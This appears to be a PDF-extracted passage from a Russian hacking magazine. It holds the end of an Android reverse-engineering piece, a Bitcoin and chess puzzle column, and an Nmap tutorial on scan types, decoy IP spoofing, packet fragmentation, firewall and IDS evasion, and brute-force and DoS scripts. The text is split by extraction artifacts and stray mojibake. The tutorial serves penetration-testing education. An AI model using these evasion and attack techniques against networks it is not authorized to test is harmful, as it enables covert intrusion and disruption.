. Поэто му в пос ледних вер сиях Android эту лазей ку прик рыли.
лю бое при ложе ние может вклю чать мобиль ные дан ные и выходить

в интернет

ОБ ИСПОЛЬЗОВАНИИ СКРЫТЫХ МЕТОДОВ
Ка кими  бы  широки ми  ни  были  воз можнос ти  плат формы  Android,  рано
или поз дно мы упи раем ся в ее гра ницы. Вызов скры тых методов при помощи
реф лексии поз воля ет нам эти гра ницы рас ширить и сде лать чуть боль ше, чем
опи сано  в  докумен тации.  Вот,  нап ример, 

.
спо соб  соеди нения  Bluetooth‐

устрой ств
Ча ще все го гра ницы плат формы про дик тованы безопас ностью. Нель зя же

поз волять  при ложе нию  с  котика ми  под клю чать ся  к  интерне ту  без  ведома
поль зовате ля  или  соз давать  Bluetooth‐сети  из  устрой ств?  В  этом  слу чае
в  уго ду  удобс тву  нель зя  жер тво вать  безопас ностью.  Поэто му  пусть,  что бы
получить новую пор цию котиков, поль зователь вруч ную под клю чает интернет
каж дый  раз.  В  серь езных  про ектах  скры тые  методы  исполь зовать  не  будут,
и круп ные раз работ чики их не рекомен дуют. В этом я пол ностью раз деляю их
мне ние: не факт, что то, что работа ет сей час, будет работать зав тра. А в мире
Android‐раз работ ки и без это го хва тает голов ной боли…

‑
Не может  не  радовать,  что  с  каж дым  днем  у  нас  все  боль ше  инс тру мен тов
для раз бора при ложе ний.Вот спи сок уже трех подоб ных сай тов:
• http://www.javadecompilers.com/apk/
• http://www.decompileandroid.com/
• http://apk‐deguard.com/

https://android-tools.ru/
https://xakep.ru/2016/12/26/android-reverse-debug-security/
http://www.javadecompilers.com/apk
http://www.decompileandroid.com/
http://stackoverflow.com/a/15127228
https://play.google.com/store/apps/details?id=com.farproc.data.enabler
http://stackoverflow.com/a/13523517/4442286
http://stackoverflow.com/a/11147911/4442286
http://www.javadecompilers.com/apk/
http://www.decompileandroid.com/
http://apk-deguard.com/


НАГРАЖДЕНИЕ ПОБЕДИТЕЛЕЙ
ÎÒ WAVES PLATFORM

Александр Лозовский
lozovsky@glc.ru

КОДИНГ

Вот  уже  и  нас тупила  вес на.  Некото рые  —  самые  тороп ‐
ливые — уже выкину ли елки, в све тоди одных гир ляндах ста ли
садить ся  батарей ки,  а  наши  читате ли  начали  потихонь ку
выходить из  спяч ки  :). Сегод ня мы  узна ем отве ты  на 

 и прос лавим читате ля 
,  который  зарабо тал  на  этом  деле  1000

Waves — это при мер но 292 дол лара / 18 854 руб ля на осно ‐
ве дан ных coinmarketcap.com (а на момент пуб ликации было,
как  я пос мотрю, 230 дол ларов  / 15 000 руб лей  ;). — Прим.
ред.).

прош ‐
лые задачи на собесе дова ниях Алек -
сея  Аста хова

КОЛЛИЗИЯ
Бло ки  в  бит кой не  соз дают ся  каж дые  десять  минут,  при  этом  хеш  SHA‐
256  от  бло ка  дол жен  начинать ся  с  D  нулей,  где  D  на  дан ный  момент  —
D ~70 и каж дый год рас тет на 4. Оце ните, в каком году будет впер вые най ден

блок, хеш которо го уже встре чал ся в блок чей не бит кой на.
0

От вет

Каж дый год в сети бит койн соз дает ся при мер но N=2  бло ков. Со вре менем t
количес тво  уни каль ных  бай тов  в  хеше  каж дого  бло ка  будет  умень шать ся

как U=256‐D ‐4*t, то есть все го воз можно M=2  раз личных хешей. Сог ласно

парадок су дней рож дений, что бы с веро ятностью 50% сре ди N бло ков была
пара  таких,  у  которых будет  оди нако вый  хеш с U  уни каль ных  бай тов,  нуж но,

что бы N ~2 , то есть U=32=256‐D ‐4*t, t~38. Сле дова тель но, подоб ное про ‐

изой дет приб лизитель но в 2055 году.

16

0
U

2 U
0

СВОЙСТВА
Ка ким из этих свой ств не обла дает бит койн?

Ве роят ность у раз ных учас тни ков иметь раз ные пре фик сы, отбро сив пос ‐
ледние k бло ков, экспо нен циаль но убы вает с k

•

Учас тник, обла дающий x% голосу ющей мощ ности, соз даст не боль ше ax%
бло ков

•

Блок чейн рас тет со вре менем•
Толь ко  вла делец  при ват ного  клю ча  может  соз дать  валид ную  под пись
тран закции

•

Как это го пла ниру ют добить ся в бит кой не?

От вет
Свой ство 4, из‐за signature malleability — имея  (перех ватив, нап ример) под ‐
писан ную  тран закцию,  мож но  рас счи тать  дру гую  ее  кор рек тную  под пись.
Это не явля ется кри тичес кой проб лемой про токо ла бит кой на, одна ко может
сущес твен но  пов лиять  на  работу  сто рон них  при ложе ний,  раз работ чики
которых  не  зна ют о  проб леме.  Есть  два  пред ложения —   и 

.
SegWit Canonical

signatures

ЗАДАЧА
Пос читать  количес тво  уни каль ных  перес тановок  фигур  на  шах матной  дос ке
раз мером  6  на  9  кле ток:  двух  королей,  одно го фер зя,  одно го  сло на,  одной
ладьи и одно го коня — так, что бы ни одна из них не била дру гую, цвет фигур
не име ет  зна чения. Решение дол жно работать до  трех минут  на сред неста ‐
тис тичес ком  ноут буке. В  доказа тель ство  нуж но  пре дос тавить  код  (он может
быть написан на любом язы ке прог рамми рова ния).

От вет
20 136 752

Мис сия  этой  мини‐руб рики  —  обра зова тель ная,  поэто му  мы  бес плат но  пуб лику ем
качес твен ные  задач ки,  которые  раз личные  ком пании  пред лага ют  соис кателям.  Вы
шле те  задач ки  на    —  мы  их  пуб лику ем.  Никаких  актов,  догово ров,
экспер тиз и отчетнос тей. Читате лям — задач ки, решате лям — подар ки, вам — рес пект
от  нашей  мно госот тысяч ной  ауди тории,  пиар щикам  —  строч ки  отчетнос ти  по  пуб ‐
ликаци ям в топовом компь ютер ном жур нале.

lozovsky@glc.ru

mailto:lozovsky@glc.ru
https://xakep.ru/2016/12/29/coding-challenges-waves-platform/
https://github.com/bitcoin/bips/blob/master/bip-0141.mediawiki
https://github.com/bitcoin/bips/blob/master/bip-0062.mediawiki
https://stats.hackmag.com/pdf/lozovsky@glc.ru


ИСПОЛЬЗУЕМ NMAP ДЛЯ ОБХОДА
ФАЙРВОЛОВ, ДИРБАСТИНГА,

DOS‐АТАК И МНОГОГО ДРУГОГО

Евгений Зобнин
zobnin@glc.ru

UNIXOID

Nmap — эта лон сре ди ска неров пор тов и один из важ ней ших
инс тру мен тов  пен тесте ра.  Но  можешь  ли  ты  ска зать,  что
дос кональ но  изу чил  все  его  осо бен ности  и  спо собы  при ‐
мене ния?  Из  этой  статьи  ты  узна ешь,  как  исполь зовать
Nmap  для  ска ниро вания  хос тов  за  фай рво лом,  повысить
про изво дитель ность ска ниро вания, искать дыры в нас трой ‐
ках HTTP‐сер вера,  орга низо вать DoS‐ата ку  и  даже  под нять
веб‐сер вер.

Вся  информа ция  пре дос тавле на  исклю читель но
в озна коми тель ных целях. Ни редак ция, ни автор
не  несут  ответс твен ности  за  любой  воз можный
вред, при чинен ный матери ала ми дан ной статьи.

БАЗОВЫЕ ВОЗМОЖНОСТИ
Пе ред  тем  как  перей ти  к  обсужде нию  прод винутых  воз можнос тей  Nmap,
давай  уде лим  нем ного  вни мания  исполь зованию Nmap  на  базовом  уров не.
Ты можешь воз разить,  что  говорить  тут не о  чем, — дос таточ но все го лишь
нат равить  Nmap  на  нуж ный  хост,  и  спус тя  некото рое  вре мя  он  выдаст
на экран информа цию об откры тых пор тах:

$ nmap 192.168.0.1

Это дей стви тель но  так,  но сто ит иметь  в  виду две осо бен ности реали зации
Nmap. Пер вая: запущен ный с пра вами обыч ного поль зовате ля Nmap край не
неэф фекти вен.  Весь  про цесс  ска ниро вания  при  этом  фак тичес ки  сво дит ся
к попыт ке уста новить пол ноцен ное соеди нение с каж дым из пор тов. В слу чае
про токо ла TCP это зна чит, что Nmap пош лет на уда лен ную сто рону пакет SYN;
если  зап рошен ный  порт  открыт,  машина  отве тит  пакетом  SYN/ACK,  пос ле
чего  Nmap  отпра вит  пакет  ACK  и  толь ко  потом  зак роет  соеди нение
с помощью пакета FIN.

Весь  этот  про цесс  осу щест вля ется  с  помощью  сис темно го  вызова  con‐
nect() и, по сути, целиком ложит ся на сетевой стек ОС. В резуль тате стра дает
как про изво дитель ность ска ниро вания,  так и  скрыт ность  (сер висы,  висящие
на ска ниру емых пор тах, будут активно логиро вать соеди нения).

Сов сем по‐дру гому Nmap ведет себя, ког да запущен с пра вами root:

$ sudo nmap 192.168.0.1

В этом слу чае он пол ностью берет на себя фор мирова ние пакетов и управле ‐
ние  соеди нени ем.  Под клю чение  к  откры тым  пор там  будет  выг лядеть  так:
Nmap  посыла ет  SYN,  машина  отве чает  SYN/ACK,  Nmap  посыла ет  FIN,  раз ‐
рывая наполо вину откры тое соеди нение  (это называ ется  TCP SYN ска ниро ‐
вание). В резуль тате сер вис, висящий на пор те, не логиру ет попыт ку соеди ‐
нения,  а  Nmap  спо собен  обна ружить  бран дма уэр,  который  прос то  отбра ‐
сыва ет  SYN‐пакеты  вмес то  того,  что бы  отпра вить  в  ответ  SYN/ACK  (порт
открыт) или FIN (порт зак рыт), как это дол жна делать опе раци онная сис тема
по  умол чанию.  Кро ме  того,  этот  спо соб  ска ниро вания  нам ного  более  про ‐
изво дитель ный.

Вто рая осо бен ность Nmap зак люча ется в том, что на самом деле он ска ‐
ниру ет  не  весь  диапа зон  пор тов  (65  536),  а  толь ко  1000  пор тов  типовых
служб,  опре делен ных  в  фай ле  .  Так  что,
если  кто‐то  повесит  сер вис  на  нес тандар тный  порт,  которо го  прос то  нет
в  этом  фай ле,  Nmap  его  не  уви дит.  Изме нить  подоб ное  поведе ние  мож но
при помощи такой коман ды:

/usr/share/nmap/nmap‐services

$ sudo nmap ‐sS ‐sU ‐p 1‐65535 192.168.0.1

Nmap будет исполь зовать ска ниро вание типа TCP SYN и UDP‐ска ниро вание
для все го диапа зона пор тов.

ОПРЕДЕЛЯЕМ НАЗВАНИЕ И ВЕРСИЮ СЕРВИСА НА ПОРТЕ
Од на  из  инте рес ных  осо бен ностей Nmap  в  том,  что  он  спо собен  не  толь ко
опре делить сос тояние пор та (открыт, зак рыт, филь тру ется), но и иден тифици ‐
ровать  имя  демона/служ бы  на  этом  пор те,  а  в  некото рых  слу чаях  даже  его
вер сию.  Для  это го  Nmap  может  при менять  нес коль ко  раз ных  тех ник,  нап ‐
ример  под клю чить ся  к  пор ту  80  и  пос лать HTTP‐зап рос  для  иден тифика ции
име ни и вер сии веб‐сер вера либо исполь зовать информа цию о том, как сер ‐
вис отве чает на те или иные пакеты и зап росы.

Все пра вила иден тифика ции служб и их вер сий опре деле ны в фай ле 
, а зас тавит Nmap их при менить флаг  :

/usr/
share/nmap/nmap‐service‐probes ‐sV

$ sudo nmap ‐sV 192.168.0.1

При чем  есть  воз можность  даже  уси лить  попыт ки  Nmap  опре делить  служ бу
с помощью фла га  :‐‐version‐all

$ sudo nmap ‐sV ‐‐version‐all 192.168.0.1

Од нако обыч но это не повыша ет качес тво рас позна вания.

Nmap не смог опре делить вер сию HTTP‐сер вера, но узнал его имя

ОПРЕДЕЛЯЕМ ИМЯ И ВЕРСИЮ ОС
На вер ное,  это  одна  из  самых  извес тных фун кций Nmap. Отправ ляя машине
нес тандар тные пакеты и сопос тавляя ее ответ (вре мя отве та, зна чения полей
TTL, MTU, ACK и мно гое дру гое) с «базой отпе чат ков ОС» (

),  Nmap  спо собен  дос таточ но  точ но  опре делить  запущен ную
на машине ОС. Все, что нуж но сде лать, — это запус тить Nmap с фла гом  :

/usr/share/nmap/
nmap‐os‐db

‐O

$ sudo nmap ‐O 192.168.0.1

Од нако  далеко  не  всег да  Nmap  спо собен  на  100%  пра виль но  уга дать  ОС.
Если  сде лать  это  не  получит ся,  Nmap  выведет  на  экран  наибо лее  близ кие
к  пра виль ному  вари анты,  забот ливо  снаб див  их  «про цен том  попада ния»:
90%, 82%...

Бо лее того, ты можешь пой ти еще даль ше и вос поль зовать ся фла гом  ,
что бы  зас тавить  Nmap  попытать ся  опре делить  вер сию  ОС,  вер сию  служб
и даже про вес ти более деталь ный ана лиз служб с помощью скрип тов NSE (о
них поз же):

‐A

$ sudo nmap ‐A 192.168.0.1

Пред положе ния Nmap о вер сии ОС ска ниру емой машины

ПОВЫШАЕМ СКОРОСТЬ СКАНИРОВАНИЯ
Nmap  известен  сво ей  феноме наль ной  про изво дитель ностью,  которая  про ‐
дол жает улуч шать ся вот уже двад цать лет. Ска нер при меня ет мно жес тво тех ‐
ник и хаков, мно гопо точ ный режим с динами чес ки изме няемым количес твом
пор тов  на  поток,  уме ет  исполь зовать  нес коль ко  ядер  про цес сора.  Но  даже
с  целым  вагоном  опти миза ций  в  сво ем  коде  по  умол чанию  Nmap  не  такой
быс трый, каким мог бы быть на самом деле.

Nmap под держи вает десяток фла гов, поз воля ющих тон ко кон тро лиро вать
такие  парамет ры,  как  задер жка  меж ду  попыт ками  под клю чения  к  пор ту
или количес тво попыток под клю чения. Разоб рать ся с ними с нас коку доволь ‐
но тяжело, поэто му в Nmap есть набор пред нас тро енных шаб лонов агрессив ‐
ности  ска ниро вания.  Все го  их  шесть  (от  0  до  5),  а  сде лать  выбор  мож но
с помощью опции  :‐T

$ sudo nmap ‐T3 192.168.0.1

В  дан ном  слу чае  мы  выб рали  шаб лон  номер  3.  Это  дефол товое  зна чение,
сво еоб разный  ком про мисс  меж ду  ско ростью  и  точ ностью  ска ниро вания
в мед ленных сетях. Одна ко в сов ремен ных усло виях, ког да минималь ная ско ‐
рость  про вод ного  дос тупа  в  сеть  уже  перешаг нула  за  30  Мбит/с,  луч шим
выбором будет   или даже  . Пос ледний сто ит при менять толь ко в ста ‐
биль ных сетях без про валов ско рос ти.

‐T4 ‐T5

Бо лее  низ кие  зна чения  пред назна чены  для  обхо да  сис тем  обна руже ния
втор жений.  Нап ример,    отклю чает  мно гопо точ ное  ска ниро вание  и  уста ‐
нав лива ет задер жку меж ду про бами пор тов в пять минут; пот ратив весь день
(ночь)  на  ска ниро вание,  ты  можешь  наде ять ся,  что  сама  попыт ка  ска ниро ‐
вания будет не замече на (тем более что Nmap переби рает пор ты в слу чай ном
поряд ке). Шаб лон   — более быс трый режим с  задер жкой в 15 с,   —
0,4 с,   — 10 мс,   — 5 мс.

‐T0

‐T1 ‐T2
‐T3 ‐T4

Ре жим ‐T5 в пол тора раза более про изво дитель ный, чем дефол товый

СКРЫВАЕМ СЛЕДЫ
Уве личе ние  задер жки  меж ду  про бами  пор тов  —  не  единс твен ный  спо соб
скрыть,  что  машина  ска ниру ется.  Еще  один  инте рес ный  метод —  одновре ‐
мен но  запус тить  нес коль ко  потоков  ска ниро вания,  под меняя  обратный  IP‐
адрес во всех слу чаях, кро ме одно го. Смысл здесь в том, что бы запутать IDS
и  адми нис тра тора  машины.  В  логах  IDS  ока жет ся  сра зу  нес коль ко  попыток
ска ниро вания  с  раз ных  адре сов,  сре ди  которых  будет  толь ко  один  нас ‐
тоящий.

Ис поль зовать такой метод доволь но прос то:

$ sudo nmap ‐D адрес1,адрес2,адрес3 192.168.0.1

Ты можешь ука зать сколь ко угод но фик тивных адре сов или поз волить Nmap
сге нери ровать ран домные адре са за тебя (в дан ном слу чае десять адре сов):

$ sudo nmap ‐D RND:10 192.168.0.1

Од нако тут необ ходимо иметь в виду, что ран домные адре са час то будут ука ‐
зывать на несущес тву ющие или отклю чен ные машины.  IDS и хороший админ
смо гут отсе ять их, что бы вычис лить реаль ный адрес.

Бо лее  слож ный  спо соб  —  орга низо вать  так  называ емое  Idle‐ска ниро ‐
вание.  Это  очень  инте рес ная  тех ника,  которая  базиру ется  на  трех  прос тых
фак тах:
1. При  выпол нении  SYN‐ска ниро вания  уда лен ная  сто рона  посыла ет  пакет
SYN/ACK в слу чае, если порт открыт, и пакет RST, если нет.

2. Ма шина,  получив шая  незап рошен ный  пакет  SYN/ACK,  дол жна  отве чать
пакетом RST, а при получе нии незап рошен ного RST — игно риро вать его.

3. Каж дый  IP‐пакет,  отправ ленный  машиной,  име ет  IPID,  а  мно гие  ОС
при отправ ке пакета прос то уве личи вают IPID.

Са ма  тех ника  зак люча ется  в  том,  что бы  най ти  неак тивную  сетевую машину,
которая прос то ничего не дела ет (Idle), но при этом находит ся в рабочем сос ‐
тоянии и спо соб на отве чать на сетевые зап росы. Более того, машина дол жна
работать  на  древ ней  ОС,  которая  уве личи вает  IPID  пакетов  вмес то  ран ‐
домиза ции, как сов ремен ные ОС. Сде лать это мож но с помощью все тех же
фла гов    Nmap  (стро ка  IP  ID  Sequence  Generation  в  выводе)  либо
с помощью Metasploit Framework (это удоб нее и быс трее):

‐O  ‐v

> use auxiliary/scanner/ip/ipidseq
> set RHOSTS 192.168.0.1‐192.168.0.255
> run

Да лее ты запус каешь ска ниро вание пор тов:

$ sudo nmap ‐sI IP‐Idle‐машины 192.168.0.1

На  каж дую  про бу  пор та Nmap  сна чала  будет  посылать  зап рос  Idle‐машине,
записы вать  IPID  пакета,  затем  посылать  SYN‐пакет  жер тве,  под меняя
обратный адрес на IP Idle‐машины, затем сно ва посылать зап рос Idle‐машине
и све рять IPID с ранее сох ранен ным. Если IPID уве личил ся со вре мени прош ‐
лой про вер ки, зна чит, машина посыла ла пакеты, а, как мы зна ем из вто рого
пун кта  выше,  это озна чает,  что она отве тила пакетом RST. Это,  в  свою оче ‐
редь, говорит, что про веря емый порт жер твы открыт. Если IPID не уве личил ся,
зна чит, порт зак рыт.

В сов ремен ном мире, где уже не оста лось Windows 95, это дей стви тель но
слож но  реали зуемая  тех ника,  но  она  поз воля ет  пол ностью  отвести  от  себя
подоз рения о ска ниро вании. IDS обви нит в ска ниро вании Idle‐машину.

ОБХОДИМ IDS И БРАНДМАУЭРЫ
Сра зу  ого ворюсь:  сегод няшние  IDS  и  бран дма уэры  нам ного  умнее  тех,  что
сущес тво вали во вре мена, ког да в Nmap появи лись средс тва борь бы с ними.
Поэто му  мно гие  при веден ные  здесь  тех ники  могут  уже  не  работать,  но  это
не повод ими не поль зовать ся, в Сети пол но доис торичес кого обо рудо вания.

Нач нем с  того,  что даже без допол нитель ных опций Nmap  уже спо собен
хоть  и  не  обой ти,  но  обна ружить  бран дма уэр.  Про исхо дит  так  потому,  что
при  SYN‐ска ниро вании  сос тояние  открыт/зак рыт  опре деля ется  путем  ана ‐
лиза отве та машины: SYN/ACK — открыт, FIN — зак рыт. Одна ко бран дма уэры,
что бы  миними зиро вать  про цес сорные  ресур сы,  зачас тую  прос то  дро пают
пакеты,  адре суемые  филь тру емым  пор там  (даже  при  нас трой ке  iptables
в  Linux  стан дар тная  прак тика  —  это  дроп нуть  пакет  с  помощью  ).
Nmap  отсле жива ет,  при  про бе  каких  пор тов  не  было  получе но  отве та,
и помеча ет эти пор ты filtered.

‐j  DROP

Еще  одна  тех ника  обна руже ния  бран дма уэра  зак люча ется  в  том,  что бы
зас тавить  Nmap  генери ровать  «неверо ятные  пакеты»,  такие  как  пакеты
без еди ного фла га ( ), FIN‐пакеты ( ) и Xmas‐пакеты, содер жащие фла ги
FIN, PSH и URG ( ). RFC опи сыва ет все эти ситу ации, поэто му любое рас ‐
хожде ние с RFC Nmap интер пре тиру ет как наличие бран дма уэра.

‐sN ‐sF
‐sX

Мно гие  бран дма уэры  мож но  обой ти  и  точ но  опре делить,  филь тру ется
порт или нет. Для это го мож но исполь зовать ACK‐ска ниро вание:

$ sudo nmap ‐sA 192.168.0.1

Те ория здесь сле дующая: бран дма уэр дол жен отби вать все   TCP‐под ‐
клю чения к пор ту, но так же обя зан не пре пятс тво вать про хож дению пакетов
в  рам ках  уже  уста нов ленных  соеди нений.  Прос той  спо соб  сде лать  это  —
отби вать  все  SYN‐пакеты  (исполь зует ся  для  уста нов ки  соеди нения),  но  не
мешать  ACK‐пакетам  (исполь зует ся  для  отправ ки  пакетов  в  рам ках  уже
откры того соеди нения).

íî âûå

Но есть одна тон кость. Дело в том, что есть так называ емые stateful‐бран ‐
дма уэры. Они уме ют отсле живать сос тояние соеди нения и про веря ют такие
поля  пакетов,  как  IP‐адрес  и  номер  пос ледова тель нос ти  TCP,  что бы  отсле ‐
живать,  какие  пакеты  дей стви тель но  приш ли  в  рам ках  откры того  ранее
соеди нения, а какие были отправ лены Nmap в рам ках ACK‐ска ниро вания (ipt‐
ables в Linux может работать в обо их режимах, но по умол чанию он не stateful,
это более про изво дитель ный вари ант).

Вы яснить,  какой  тип  бран дма уэра  исполь зует ся,  мож но,  выпол нив  SYN‐
ска ниро вание и сра зу за ним — ACK‐ска ниро вание:

$ sudo nmap ‐sS 192.168.0.1
$ sudo nmap ‐sA 192.168.0.1

Ес ли  во  вто ром  слу чае  пор ты,  отме чен ные  во  вре мя  SYN‐ска ниро вания
как filtered, ста ли unfiltered, зна чит, перед тобой не stateful‐бран дма уэр.

Кро ме  того,  мож но  поп робовать  обой ти  бран дма уэр  с  помощью  изме ‐
нения номера исхо дяще го пор та:

$ sudo nmap ‐‐source‐port 53 192.168.0.1

Это  экс плу ата ция  ста рой  как  мир  ошиб ки  нас трой ки  бран дма уэра,  которая
зак люча ется  в  том,  что  админ  откры вает  дос туп  все му  вхо дяще му  тра фику
(вклю чая  про токол  TCP)  с  пор та  53,  что бы  поз волить  при ложе ниям бес пре ‐
пятс твен но  выпол нять  DNS‐зап росы.  Сегод ня  такое  встре чает ся  ред ко,  но,
как показы вает прак тика, неком петен тность со вре менем не исче зает.

Кро ме все го про чего, в Nmap есть средс тва для скры тия фак та ска ниро ‐
вания от глаз бран дма уэров и IDS:

$ sudo nmap ‐f 192.168.0.1

В  этом  слу чае Nmap будет  раз бивать  пакеты  на  кро хот ные фраг менты  раз ‐
мером 8 байт. Дела ет он это в надеж де на то, что бран дма уэр или IDS не смо ‐
жет соб рать пакет из фраг ментов и про ана лизи ровать его заголо вок (по при ‐
чине пло хой реали зации или в уго ду про изво дитель нос ти) и прос то про пус тит
пакет или отбро сит.

$ sudo nmap ‐‐mtu 16 192.168.0.1

Та же исто рия, толь ко с воз можностью кон тро лиро вать раз мер пакета (в дан ‐
ном  слу чае  16).  Мож но  исполь зовать  про тив  бран дма уэров  и  IDS,  которые
уме ют  ловить  фак ты  ска ниро вания  с  помощью  Nmap,  ана лизи руя  раз мер
фраг мента.

$ sudo nmap ‐‐data‐length 25 192.168.0.1

До бав ляет в конец пакета ука зан ное количес тво ран домных бай тов. Цель та
же, что и в пре дыду щем слу чае: обма нуть IDS, которая может быть спо соб на
обна ружить ска ниро вание, ана лизи руя раз мер пакета (Nmap всег да посыла ‐
ет пакеты дли ной 40 байт при исполь зовании про токо ла TCP).

ИСПОЛЬЗУЕМ NMAP ДЛЯ ОБНАРУЖЕНИЯ МАШИН В СЕТИ
Хо тя Nmap известен имен но  как ска нер пор тов,  это  так же отличный инс тру ‐
мент для обна руже ния машин в сети. Его мож но нат равить на любое количес ‐
тво  хос тов и бук валь но за нес коль ко секунд получить резуль тат пин га  тысяч
хос тов. Вот  толь ко пин гует  хос ты он сов сем не  так,  как всем извес тная  ути ‐
лита ping. По умол чанию перед началом ска ниро вания пор тов Nmap посыла ‐
ет нес коль ко пакетов, что бы удос товерить ся в дос тупнос ти хос та:

ICMP Echo request — ана лог того, как работа ет ping;•
SYN‐пакет на порт 443;•
ACK‐пакет на порт 80;•
ICMP timestamp request.•

Так мно го спо собов про вер ки необ ходимы для обхо да бран дма уэров и ситу ‐
аций,  ког да,  нап ример,  в  ОС  или  сетевом  обо рудо вании  вклю чен  зап рет
отве чать на зап росы ICMP Echo (сегод ня это час тая прак тика).

Про вер ку дос тупнос ти  лег ко отклю чить,  исполь зуя опцию  ,  о  чем сам
Nmap сооб щит, если не смо жет удос товерить ся в дос тупнос ти пор та:

‐PN

$ sudo nmap ‐PN 192.168.0.1

Обыч но  в  этом мало  смыс ла,  а  вот  обратная опе рация,  то  есть  отклю чение
ска нера  пор тов,  очень  даже  полез на  для  про вер ки  дос тупнос ти  мно жес тва
хос тов:

$ sudo nmap ‐sn 192.168.0.1‐255

Эта  коман да  зас тавит  Nmap  прос каниро вать  адре са
с 192.168.0.1 по 192.168.0.255. Ее более удоб ный ана лог:

$ sudo nmap ‐sn 192.168.0.*

А так мож но поп росить Nmap прос каниро вать всю под сеть:

$ sudo nmap ‐sn 192.168.0.0/24

Ну или записать необ ходимые адре са в файл и поп росить прос каниро вать их:

$ sudo nmap ‐sn ‐iL /путь/до/файла

Ес ли опус тить флаг  , Nmap будет  не  прос то  про верять дос тупность  хос ‐
тов, но еще и ска ниро вать пор ты.

‐sn

Са мих  тех ник  пин гования  так же  доволь но  мно го.  Nmap  под держи вает
опре деле ние дос тупнос ти  хос та с помощью посыл ки SYN‐пакета на  ука зан ‐
ный порт:

$ sudo nmap ‐sn ‐PS80 192.168.0.1

ACK‐пакета:

$ sudo nmap ‐sn ‐PA80 192.168.0.1

UDP‐пакета:

$ sudo nmap ‐sn ‐PU53 192.168.0.1

ICMP Echo request:

$ sudo nmap ‐sn ‐PE 192.168.0.1

ICMP timestamp:

$ sudo nmap ‐sn ‐PP 192.168.0.1

Все их мож но ком биниро вать:

$ sudo nmap ‐sn ‐PE ‐PS443 ‐PA80 ‐PP 192.168.0.1

Nmap обна ружил толь ко один хост в локаль ной сети

ВЫПОЛНЯЕМ БРУТФОРС, ДИРБАСТИНГ (ПЕРЕБОР ДИРЕКТОРИЙ),
DOS И ДРУГИЕ АТАКИ
От носитель но  новая  фиш ка  Nmap  —  под дер жка  скрип тов,  рас ширя ющих
фун кци ональ ность ска нера. Nmap пос тавля ется с более чем 500 скрип тами,
которые могут  отно сить ся  к  одной или  нес коль ким из  четыр надца ти  катего ‐
рий:

 — про вер ка воз можнос ти логина. Нап ример, скрипт ftp‐anon про бует
выпол нить  ано ним ный  логин  на  FTP‐сер вер  и  выводит  спи сок  фай лов,
помечая дос тупные для записи фай лы;

• auth

 — раз личные виды обна руже ния хос тов в сети. При мер: broad‐
cast‐upnp‐info — скрипт для поис ка UPnP‐сер висов;

• broadcast

  —  реали зация  тех ник  брут форса  паролей.  При мер:  http‐brute  —
брут форс паролей от веб‐сер вера;

• brute

 —  скрип ты,  запус каемые  авто мати чес ки  при  ука зании  опции 
или  .  Обыч но  это  прос тые  быс трые  скрип ты,  собира ющие  допол ‐
нитель ную  информа цию  о  машине,  вро де  уже  при веден ного  выше  ftp‐
anon;

• default -A

-sC

 — прак тичес ки ана лог broadcast. При мер: smb‐enum‐shares —
поиск рас шарен ных с помощью про токо ла SMB дис ков;

• discovery

  —  скрип ты  для  орга низа ции  DoS‐атак.  При мер:  smb‐vuln‐regsvc‐
dos  —  выводит  из  строя  Windows  2000  путем  экс плу ата ции  уяз вимос ти
MSRC 8742;

• dos

 —  экс плу ата ция  или  про вер ка  на  уяз вимость. При мер:  smb‐vuln‐
ms06‐025 — про вер ка машин Windows на уяз вимость MS06‐025;

• exploit

  —  скрип ты,  исполь зующие  внеш ние  ресур сы  для  получе ния
допол нитель ной информа ции о машине. При мер: whois;

• external

 — скрип ты, посыла ющие уда лен ной сто роне неожи дан ные и неп ‐
равиль но  сфор мирован ные  дан ные  с  целью  поис ка  уяз вимос тей
или попыт ки выпол нить DoS. При мер: dns‐fuzz;

• fuzzer

  —  скрип ты,  выпол няющие  активные  дей ствия  в  отно шении
машины. При мер: snmp‐brute — брут форс SNMP‐сер вера;

• intrusive

 —  про вер ка  на  заражен ность  машины  вируса ми  и  бэк дорами.
При мер: smtp‐strangeport — поиск SMTP‐сер вера на нес тандар тном пор ‐
те, что может быть сви детель ством зараже ния машины тро яном, рас сыла ‐
ющим спам;

• malware

 — «безопас ные» скрип ты, которые не совер шают активных дей ствий
в  отно шении  машины,  не  забива ют  канал  пакета ми  и  не  экс плу ати руют
уяз вимос ти. При мер:  ssh‐hostkey — получа ет  пуб личные  клю чи SSH‐сер ‐
вера;

• safe

 — получе ние вер сий работа ющих служб. При мер: pptp‐version —
выводит на экран допол нитель ную информа цию о PPTP‐сер вере;

• version

 — про вер ка служб на уяз вимос ти.• vuln

Ес ли ука зать опции   или  , скрип ты катего рии   будут запус кать ся
авто мати чес ки. Для запус ка скрип тов дру гих  катего рий мож но исполь зовать
опцию  :

‐A ‐sC default

‐‐script

$ sudo nmap ‐‐script "default and safe" 192.168.0.1

Вы бор мож но обра тить, зас тавив Nmap запус тить все скрип ты, кро ме тех, что
отно сят ся к ука зан ной катего рии:

$ sudo nmap ‐‐script "not intrusive" 192.168.0.1

А  мож но  ука зать  имя  нуж ного  скрип та  (http‐enum  выпол няет  дир бастинг
HTTP‐сер вера):

$ sudo nmap ‐p80 ‐‐script "http‐enum" 192.168.0.1

Или поп росить Nmap запус тить все скрип ты, отно сящи еся к про токо лу HTTP:

$ sudo nmap ‐p80 ‐‐script "http‐*" 192.168.0.1

Са ми скрип ты вмес те с опи сани ем и при мера ми исполь зования мож но най ти
в катало ге  ./usr/share/nmap/scripts

Дир бастинг с помощью Nmap

Ес ли  ты  серь езно  заин тересо вал ся  воз можнос ‐
тями, которые дает NSE‐скрип тинг, — обя затель ‐
но  про читай  нашу    на  эту
тему.

пре дыду щую  статью

ПОДНИМАЕМ ВЕБ-СЕРВЕР (ВНЕЗАПНО)
Нем ногие зна ют, но в ком плек те с Nmap идет ути лита ncat. Это ана лог извес ‐
тней шего  netcat  —  уни вер саль ного  сетево го  инс тру мен та,  с  помощью
которо го мож но тес тировать сетевые служ бы, выпол нять уда лен ные коман ды,
переда вать  фай лы,  про киды вать  через  сеть  аудио,  слу шать  пор ты  и  делать
мно жес тво дру гих инте рес ных вещей.

С его же помощью мож но запус тить прос тей ший веб‐сер вер:

$ ncat ‐lk ‐p 8080 ‐‐sh‐exec "echo ‐e 'HTTP/1.1 200 OK'; cat index.
html"

open — порт открыт;•
closed — порт зак рыт;•
filtered — порт филь тру ется, неиз вес тно, зак рыт или открыт;•
unfiltered —  порт  не  филь тру ется,  неиз вес тно,  зак рыт  или  открыт  (такой
резуль тат может дать толь ко ACK‐ска ниро вание);

•

open|filtered — порт либо открыт, либо филь тру ется;•
